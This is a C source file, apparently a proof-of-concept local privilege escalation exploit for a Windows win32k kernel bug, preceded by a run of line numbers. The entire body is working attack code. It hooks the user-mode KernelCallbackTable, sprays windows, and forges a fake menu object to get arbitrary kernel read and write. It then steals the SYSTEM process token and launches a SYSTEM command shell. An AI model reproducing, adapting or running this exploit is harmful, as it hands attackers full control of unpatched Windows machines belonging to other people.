1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491
| #include "framework.h" #include "poc.h" #include "stdio.h" #include <windows.h>
#define NT_SUCCESS(status) (status == (NTSTATUS)0) #define MAX_LOADSTRING 100 #define CB_WND_EXTRA_1 0x20 #define CB_WND_EXTRA_2 0x1234 #define CLASS_NAME_1 L"ClassName1" #define CLASS_NAME_2 L"ClassName2" #define SPRAY_WND_SIZE 0x30 #define CB_WND_EXTRA_OFFSET 0xc8 #define FAKE_EXTRA_BYTES 0xffffff00 #define WND_EXTRA_BYTES_OFFSET 0x128 #define TAG_WNDk_OFFSET 0x8 #define FAKE_SP_MENU_SIZE 0xa0 #define DW_EXSTYLE_OFFSET 0x18 #define MODIFY_OFFSET_FLAG_OFFSET 0xE8 #define PROCESS_ID_OFFSET 0x440 #define NEXT_EPROCESS_OFFSET 0x448 #define TOKEN_OFFSET 0x4b8
#ifdef _WIN64 typedef ULONG64* (NTAPI* lHMValidateHandle)(HWND h, int type); #else typedef ULONG64* (__fastcall* lHMValidateHandle)(HWND h, int type); #endif
typedef LONG NTSTATUS; typedef ULONG64(WINAPI* PxxxClientAllocWindowClassExtraBytes)(PULONG64 pSize); typedef ULONG64(WINAPI* PxxxClientFreeWindowClassExtraBytes)(PVOID *pInfo); typedef NTSTATUS(WINAPI* PNtUserConsoleControl)(DWORD, PVOID, ULONG64); typedef NTSTATUS(WINAPI* PNtCallbackReturn)(PVOID Result, ULONG64 ResultLength, NTSTATUS Status); typedef NTSTATUS(WINAPI* PNtUserMessageCall)(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); typedef PVOID(WINAPI* FHMValidateHandle)(HANDLE h, BYTE byType);
PxxxClientAllocWindowClassExtraBytes xxxClientAllocWindowClassExtraBytes = NULL; PxxxClientFreeWindowClassExtraBytes xxxClientFreeWindowClassExtraBytes = NULL; PNtUserConsoleControl gNtUserConsoleControl = NULL; PNtCallbackReturn gNtCallbackReturn = NULL; PNtUserMessageCall gNtUserMessageCall = NULL; lHMValidateHandle pHmValidateHandle = NULL;
HINSTANCE hInst; WCHAR szTitle[MAX_LOADSTRING];
HWND hWnds[SPRAY_WND_SIZE] = { 0 }; PULONG64 pWnds[SPRAY_WND_SIZE] = { 0 }; HWND hWnd = NULL; PULONG64 pWnd = NULL;
PULONG64 gFakeExtraBytes = 0;
PVOID gPFakeSpMenu = NULL; PVOID gPFakeRgItems = NULL; HWND arbHwd = NULL; BOOL gHasTrigger = FALSE;
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; }
BOOL FindHMValidateHandle() { HMODULE hUser32 = LoadLibraryA("user32.dll"); if (hUser32 == NULL) { printf("[-] Failed to load user32"); return FALSE; }
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu"); if (pIsMenu == NULL) { printf("[-] Failed to find location of exported function 'IsMenu' within user32.dll\n"); return FALSE; } unsigned int uiHMValidateHandleOffset = 0; for (unsigned int i = 0; i < 0x1000; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8) { uiHMValidateHandleOffset = i + 1; break; } } if (uiHMValidateHandleOffset == 0) { printf("[-] Failed to find offset of HMValidateHandle from location of 'IsMenu'\n"); return FALSE; }
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; pHmValidateHandle = (lHMValidateHandle)((ULONG64)hUser32 + offset + 11); return TRUE; }
NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(PULONG64 pSize) { if (*pSize == CB_WND_EXTRA_2) { gHasTrigger = TRUE; PULONG64 params[2] = { 0 }; params[0] = (PULONG64)hWnd; params[1] = 0;
NTSTATUS status = gNtUserConsoleControl(6, params, sizeof(params)); if (!NT_SUCCESS(status)) { printf("[-] Failed to get NtUserConsoleControl : %llx\n", status); goto end; }
PULONG64 result[3] = { 0 }; result[0] = gFakeExtraBytes; return gNtCallbackReturn(result, sizeof(result), 0); } end: return xxxClientAllocWindowClassExtraBytes(pSize); }
NTSTATUS WINAPI MyxxxClientFreeWindowClassExtraBytes(PVOID *pInfo) { ULONG64 extra = *(ULONG64*)((PBYTE)(*pInfo) + CB_WND_EXTRA_OFFSET); if (extra == CB_WND_EXTRA_2) { return 1; } return xxxClientFreeWindowClassExtraBytes(pInfo); }
ULONG64 arbRead(HWND hwd, ULONG64 addr) {
MENUBARINFO mbi = { 0 }; mbi.cbSize = sizeof(MENUBARINFO);
RECT rect = { 0 }; GetWindowRect(hwd, &rect);
*(ULONG64*)(gPFakeRgItems) = addr - 0x40;
GetMenuBarInfo(hwd, -3, 1, &mbi);
BYTE result[0x10] = { 0 }; *(DWORD*)(result) = mbi.rcBar.left - rect.left; *(DWORD*)(result + 4) = mbi.rcBar.top - rect.top; *(DWORD*)(result + 8) = mbi.rcBar.right - mbi.rcBar.left; *(DWORD*)(result + 0xc) = mbi.rcBar.bottom - mbi.rcBar.top;
return *(ULONG64*)result; }
ULONG64 arbRead2(HWND hwd0, HWND hwd1, ULONG64 WNDk01Offset, ULONG64 addr) {
SetWindowLongPtr(hwd0, WNDk01Offset + WND_EXTRA_BYTES_OFFSET, addr); ULONG64 result = GetWindowLongPtr(hwd1, 0); return result; }
VOID arbWrite(HWND hwd0, HWND hwd1, ULONG64 WNDk01Offset, ULONG64 addr, ULONG64 value) {
SetWindowLongPtr(hwd0, WNDk01Offset + WND_EXTRA_BYTES_OFFSET, addr); SetWindowLongPtr(hwd1, 0, value); }
void hookXxxClientAllocWindowClassExtraBytes() { DWORD dwOldProtect = 0; PLONG pKernelCallbackTable = (PLONG) * (PLONG*)(__readgsqword(0x60) + 0x58); if (xxxClientAllocWindowClassExtraBytes == NULL && xxxClientFreeWindowClassExtraBytes == NULL) { xxxClientAllocWindowClassExtraBytes = (PxxxClientAllocWindowClassExtraBytes) * (PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8); xxxClientFreeWindowClassExtraBytes = (PxxxClientFreeWindowClassExtraBytes) * (PLONG*)((PBYTE)pKernelCallbackTable + 0x3E0); }
VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, PAGE_EXECUTE_READWRITE, &dwOldProtect); *(PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8) = (PLONG)MyxxxClientAllocWindowClassExtraBytes; *(PLONG*)((PBYTE)pKernelCallbackTable + 0x3E0) = (PLONG)MyxxxClientFreeWindowClassExtraBytes; VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, dwOldProtect, &dwOldProtect); }
void unHookXxxClientAllocWindowClassExtraBytes() { DWORD dwOldProtect = 0; PLONG pKernelCallbackTable = (PLONG) * (PLONG*)(__readgsqword(0x60) + 0x58); VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, PAGE_EXECUTE_READWRITE, &dwOldProtect); *(PLONG*)((PBYTE)pKernelCallbackTable + 0x3D8) = (PLONG)xxxClientAllocWindowClassExtraBytes; *(PLONG*)((PBYTE)pKernelCallbackTable + 0x3E0) = (PLONG)xxxClientFreeWindowClassExtraBytes; VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x400, dwOldProtect, &dwOldProtect); }
void spawn_shell() {
PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi));
STARTUPINFOA si; ZeroMemory(&si, sizeof(si));
printf("[>] shell!\n");
CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); }
int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine);
AllocConsole(); FILE* tempFile = nullptr; freopen_s(&tempFile, "conin$", "r+t", stdin); freopen_s(&tempFile, "conout$", "w+t", stdout);
gNtUserConsoleControl = (PNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");
if (!gNtUserConsoleControl) { DWORD err = GetLastError(); printf("[-] Failed to get NtUserConsoleControl : %llx\n", err); exit(-1); }
gNtUserMessageCall = (PNtUserMessageCall)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserMessageCall");
if (!gNtUserMessageCall) { DWORD err = GetLastError(); printf("[-] Failed to get NtUserMessageCall : %llx\n", err); exit(-1); }
gNtCallbackReturn = (PNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCallbackReturn");
if (!gNtCallbackReturn) { DWORD err = GetLastError(); printf("[-] Failed to get NtCallbackReturn : %llx\n", err); exit(-1); } BOOL bFound = FindHMValidateHandle(); if (!bFound) { printf("[-] Failed to locate HmValidateHandle, exiting\n"); exit(-1); } printf("[+] Found location of HMValidateHandle in user32.dll\n"); LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
WNDCLASSEXW wcex = { 0 };
wcex.cbSize = sizeof(WNDCLASSEX); wcex.style = CS_HREDRAW | CS_VREDRAW; wcex.lpfnWndProc = DefWindowProc; wcex.cbClsExtra = 0; wcex.cbWndExtra = CB_WND_EXTRA_1; wcex.hInstance = hInstance; wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_POC); wcex.lpszClassName = CLASS_NAME_1; RegisterClassExW(&wcex);
wcex.cbWndExtra = CB_WND_EXTRA_2; wcex.lpszClassName = CLASS_NAME_2; RegisterClassExW(&wcex);
ULONG64 WNDk0ExtraBytesOffset = 0; ULONG64 WNDk01Offset = 0; ULONG64 WNDk02Offset = 0; HMENU hMenu, hHelpMenu; for (int nTrys = 0; nTrys < 5; nTrys++) { for (int i = 0; i < SPRAY_WND_SIZE; i++) { hMenu = CreateMenu(); hHelpMenu = CreateMenu(); AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")); AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help"));
HWND h = CreateWindowEx(NULL, CLASS_NAME_1, NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, hMenu, hInstance, NULL);
if (!h) { DWORD err = GetLastError(); printf("[-] Failed to CreateWindowEx, error : %llx\n", err); exit(-1); }
if (i == 0) { ULONG64 params[2] = { 0 }; params[0] = (ULONG64)h; params[1] = 0; NTSTATUS status = gNtUserConsoleControl(6, params, sizeof(params)); } hWnds[i] = h; pWnds[i] = (PULONG64)pHmValidateHandle(h, 1);
}
gFakeExtraBytes = *(PULONG64*)((PBYTE)(pWnds[0]) + TAG_WNDk_OFFSET);
for (int i = 2; i < SPRAY_WND_SIZE; i++) { DestroyWindow(hWnds[i]); }
WNDk0ExtraBytesOffset = *(ULONG64*)((PBYTE)(pWnds[0]) + WND_EXTRA_BYTES_OFFSET);
ULONG64 WNDk1WndOffset = *(ULONG64*)((PBYTE)(pWnds[1]) + TAG_WNDk_OFFSET); WNDk01Offset = WNDk1WndOffset - WNDk0ExtraBytesOffset;
printf("[+] Get WNDk01Offset : %llx\n", WNDk01Offset); if (WNDk1WndOffset < WNDk0ExtraBytesOffset) { printf("[-] The WNDk01Offset less than 0, try again!\n"); } else { hWnd = CreateWindowEx(NULL, CLASS_NAME_2, NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInstance, NULL); if (!hWnd) { DWORD err = GetLastError(); printf("[-] Failed to CreateWindowEx, error : %llx\n", err); }
pWnd = (PULONG64)pHmValidateHandle(hWnd, 1);
ULONG64 WNDk2WndOffset = *(ULONG64*)((PBYTE)(pWnd) + TAG_WNDk_OFFSET); WNDk02Offset = WNDk2WndOffset - WNDk0ExtraBytesOffset; printf("[+] Get WNDk02Offset : %llx\n", WNDk02Offset); if (WNDk2WndOffset < WNDk0ExtraBytesOffset) { printf("[-] The WNDk02Offset less than 0, try again!\n"); } else { hookXxxClientAllocWindowClassExtraBytes(); NTSTATUS status = gNtUserMessageCall(hWnd, WM_CREATE, 0, 0, 0, 0, 0); if (!NT_SUCCESS(status)) { printf("[-] Failed to get NtUserMessageCall : %llx\n", status); } } }
if (gHasTrigger) { break; }
unHookXxxClientAllocWindowClassExtraBytes(); DestroyWindow(hWnds[0]); DestroyWindow(hWnds[1]); DestroyWindow(hWnd);
}
if (!gHasTrigger) { printf("[-] Failed to trigger!\n"); exit(-1); }
unHookXxxClientAllocWindowClassExtraBytes();
SetWindowLongPtr(hWnd, CB_WND_EXTRA_OFFSET + 0x10, 0xfffffff0);
ULONG64 dwStyle = *(ULONG64*)((PBYTE)(pWnds[1]) + DW_EXSTYLE_OFFSET); dwStyle |= 0x4000000000000000L;
SetWindowLongPtr(hWnds[0], WNDk01Offset + DW_EXSTYLE_OFFSET, dwStyle);
gPFakeSpMenu = VirtualAlloc(NULL, FAKE_SP_MENU_SIZE, MEM_COMMIT, PAGE_READWRITE); memset(gPFakeSpMenu, 0, FAKE_SP_MENU_SIZE);
PVOID fakeUnknownChunk = VirtualAlloc(NULL, 0x200, MEM_COMMIT, PAGE_READWRITE); memset(fakeUnknownChunk, 0, 0x200);
gPFakeRgItems = VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE); memset(gPFakeRgItems, 0, 0x10);
PVOID fakespMenuk = VirtualAlloc(NULL, 0x30, MEM_COMMIT, PAGE_READWRITE); memset(fakespMenuk, 0, 0x30);
*(ULONG64*)((PBYTE)gPFakeSpMenu + 0x28) = (ULONG64)fakeUnknownChunk; *(ULONG64*)((PBYTE)fakeUnknownChunk + 0x2c) = 1; *(DWORD*)((PBYTE)gPFakeSpMenu + 0x40) = 1; *(DWORD*)((PBYTE)gPFakeSpMenu + 0x44) = 1; *(ULONG64*)((PBYTE)gPFakeSpMenu + 0x58) = (ULONG64)gPFakeRgItems; *(ULONG64*)(gPFakeRgItems) = 0xdeadbeef; *(ULONG64*)((PBYTE)gPFakeSpMenu + 0x98) = (ULONG64)fakespMenuk; *(ULONG64*)(fakespMenuk) = (ULONG64)gPFakeSpMenu;
ULONG64 oldPMenu = SetWindowLongPtr(hWnds[1], GWLP_ID, (ULONG64)gPFakeSpMenu);
printf("[+] Get oldPMenu : %llx\n", oldPMenu); dwStyle ^= 0x4000000000000000L; SetWindowLongPtr(hWnds[0], WNDk01Offset + DW_EXSTYLE_OFFSET, dwStyle);
ULONG64 originWNDExtraBytes = GetWindowLongPtr(hWnds[0], WNDk01Offset + WND_EXTRA_BYTES_OFFSET);
ULONG64 eprocess = arbRead(hWnds[1], oldPMenu + 0x50); if (eprocess != 0) { eprocess = arbRead(hWnds[1], eprocess + 0x10); eprocess = arbRead(hWnds[1], eprocess + 0x1a0); eprocess = arbRead(hWnds[1], eprocess); printf("[+] Get eprocess : %llx\n", eprocess); ULONG64 beginEprocess = eprocess; ULONG64 processId = 0; ULONG64 nextEprocess = 0; ULONG64 dwPID = GetCurrentProcessId(); ULONG64 currentEprocess = 0;
while (1) { processId = arbRead(hWnds[1], eprocess + PROCESS_ID_OFFSET); if (processId == 4) { break; }
nextEprocess = arbRead(hWnds[1], eprocess + NEXT_EPROCESS_OFFSET) - NEXT_EPROCESS_OFFSET;
if (nextEprocess == beginEprocess) { break; } if (processId == dwPID) { currentEprocess = eprocess; } eprocess = nextEprocess; } ULONG64 systemToken = arbRead(hWnds[1], eprocess + TOKEN_OFFSET);
printf("[+] Get systemToken : %llx\n", systemToken);
ULONG64 writeAddr = currentEprocess + TOKEN_OFFSET;
arbWrite(hWnds[0], hWnds[1], WNDk01Offset, writeAddr, systemToken);
spawn_shell(); } else { printf("[-] Failed to get eprocess\n"); }
printf("[+] Recover begin!\n");
PVOID chunk = VirtualAlloc(NULL, CB_WND_EXTRA_2, MEM_COMMIT, PAGE_READWRITE);;
SetWindowLongPtr(hWnds[0], WNDk02Offset + WND_EXTRA_BYTES_OFFSET, (ULONG64)chunk);
ULONG64 dwFlags = *(ULONG64*)((PBYTE)(pWnds)+MODIFY_OFFSET_FLAG_OFFSET); dwFlags ^= 0x800; SetWindowLongPtr(hWnds[0], WNDk02Offset + MODIFY_OFFSET_FLAG_OFFSET, (ULONG64)chunk);
dwStyle |= 0x4000000000000000L; SetWindowLongPtr(hWnds[0], WNDk01Offset + DW_EXSTYLE_OFFSET, dwStyle);
SetWindowLongPtr(hWnds[1], GWLP_ID, (ULONG64)oldPMenu);
dwStyle ^= 0x4000000000000000L; SetWindowLongPtr(hWnds[0], WNDk01Offset + DW_EXSTYLE_OFFSET, dwStyle);
SetWindowLongPtr(hWnds[0], WNDk01Offset + WND_EXTRA_BYTES_OFFSET, originWNDExtraBytes);
PULONG64 params[2] = { 0 }; params[0] = (PULONG64)hWnd; params[1] = 0;
DestroyMenu(hHelpMenu); DestroyMenu(hMenu); DestroyWindow(hWnds[0]); DestroyWindow(hWnds[1]); DestroyWindow(hWnd);
VirtualFree(gPFakeSpMenu, 0, MEM_RELEASE); VirtualFree(fakeUnknownChunk, 0, MEM_RELEASE); VirtualFree(gPFakeRgItems, 0, MEM_RELEASE); VirtualFree(fakespMenuk, 0, MEM_RELEASE); VirtualFree(chunk, 0, MEM_RELEASE);
printf("[+] Recover success!\n"); system("pause");
}
|